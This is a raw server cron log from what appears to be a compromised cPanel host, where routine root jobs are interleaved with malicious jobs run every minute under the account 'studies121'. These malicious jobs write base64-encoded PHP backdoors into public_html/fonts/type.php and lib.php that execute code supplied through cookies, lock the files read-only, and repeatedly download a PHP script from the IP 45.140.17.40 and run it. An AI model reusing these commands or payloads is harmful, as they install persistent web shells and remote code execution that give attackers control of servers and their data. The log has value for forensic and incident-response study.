Sep  3 01:45:01 ip-184-168-122-23 CROND[11806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:45:01 ip-184-168-122-23 CROND[11805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:45:01 ip-184-168-122-23 CROND[11807]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 01:46:01 ip-184-168-122-23 CROND[11921]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:46:01 ip-184-168-122-23 CROND[11923]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:46:01 ip-184-168-122-23 CROND[11924]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 01:46:01 ip-184-168-122-23 CROND[11925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:46:01 ip-184-168-122-23 CROND[11927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:46:01 ip-184-168-122-23 CROND[11928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:46:01 ip-184-168-122-23 CROND[11929]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 01:47:01 ip-184-168-122-23 CROND[12058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:47:01 ip-184-168-122-23 CROND[12059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:47:01 ip-184-168-122-23 CROND[12060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:47:01 ip-184-168-122-23 CROND[12061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:48:01 ip-184-168-122-23 CROND[12159]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:48:01 ip-184-168-122-23 CROND[12161]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:48:01 ip-184-168-122-23 CROND[12162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:48:01 ip-184-168-122-23 CROND[12163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:48:01 ip-184-168-122-23 CROND[12164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:49:01 ip-184-168-122-23 CROND[12276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:49:01 ip-184-168-122-23 CROND[12277]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:49:01 ip-184-168-122-23 CROND[12280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:49:01 ip-184-168-122-23 CROND[12278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:49:01 ip-184-168-122-23 CROND[12282]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  3 01:50:01 ip-184-168-122-23 CROND[12423]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 01:50:01 ip-184-168-122-23 CROND[12426]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 01:50:01 ip-184-168-122-23 CROND[12428]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:50:01 ip-184-168-122-23 CROND[12429]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 01:50:01 ip-184-168-122-23 CROND[12431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:50:01 ip-184-168-122-23 CROND[12432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:50:01 ip-184-168-122-23 CROND[12433]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 01:50:01 ip-184-168-122-23 CROND[12436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:50:01 ip-184-168-122-23 CROND[12437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:51:01 ip-184-168-122-23 CROND[12613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:51:01 ip-184-168-122-23 CROND[12615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:51:01 ip-184-168-122-23 CROND[12616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:51:01 ip-184-168-122-23 CROND[12617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:52:01 ip-184-168-122-23 CROND[12708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:52:01 ip-184-168-122-23 CROND[12710]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:52:01 ip-184-168-122-23 CROND[12712]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:52:01 ip-184-168-122-23 CROND[12714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:52:01 ip-184-168-122-23 CROND[12715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:53:01 ip-184-168-122-23 CROND[12804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:53:01 ip-184-168-122-23 CROND[12805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:53:01 ip-184-168-122-23 CROND[12806]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:53:01 ip-184-168-122-23 CROND[12807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:54:01 ip-184-168-122-23 CROND[12912]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:54:01 ip-184-168-122-23 CROND[12915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:54:01 ip-184-168-122-23 CROND[12914]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:54:01 ip-184-168-122-23 CROND[12918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:54:01 ip-184-168-122-23 CROND[12917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:55:01 ip-184-168-122-23 CROND[13006]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:55:01 ip-184-168-122-23 CROND[13008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:55:01 ip-184-168-122-23 CROND[13011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:55:01 ip-184-168-122-23 CROND[13010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:55:01 ip-184-168-122-23 CROND[13012]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 01:55:01 ip-184-168-122-23 CROND[13013]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 01:56:01 ip-184-168-122-23 CROND[13119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:56:01 ip-184-168-122-23 CROND[13121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:56:01 ip-184-168-122-23 CROND[13122]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:56:01 ip-184-168-122-23 CROND[13123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:56:01 ip-184-168-122-23 CROND[13124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:57:01 ip-184-168-122-23 CROND[13204]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
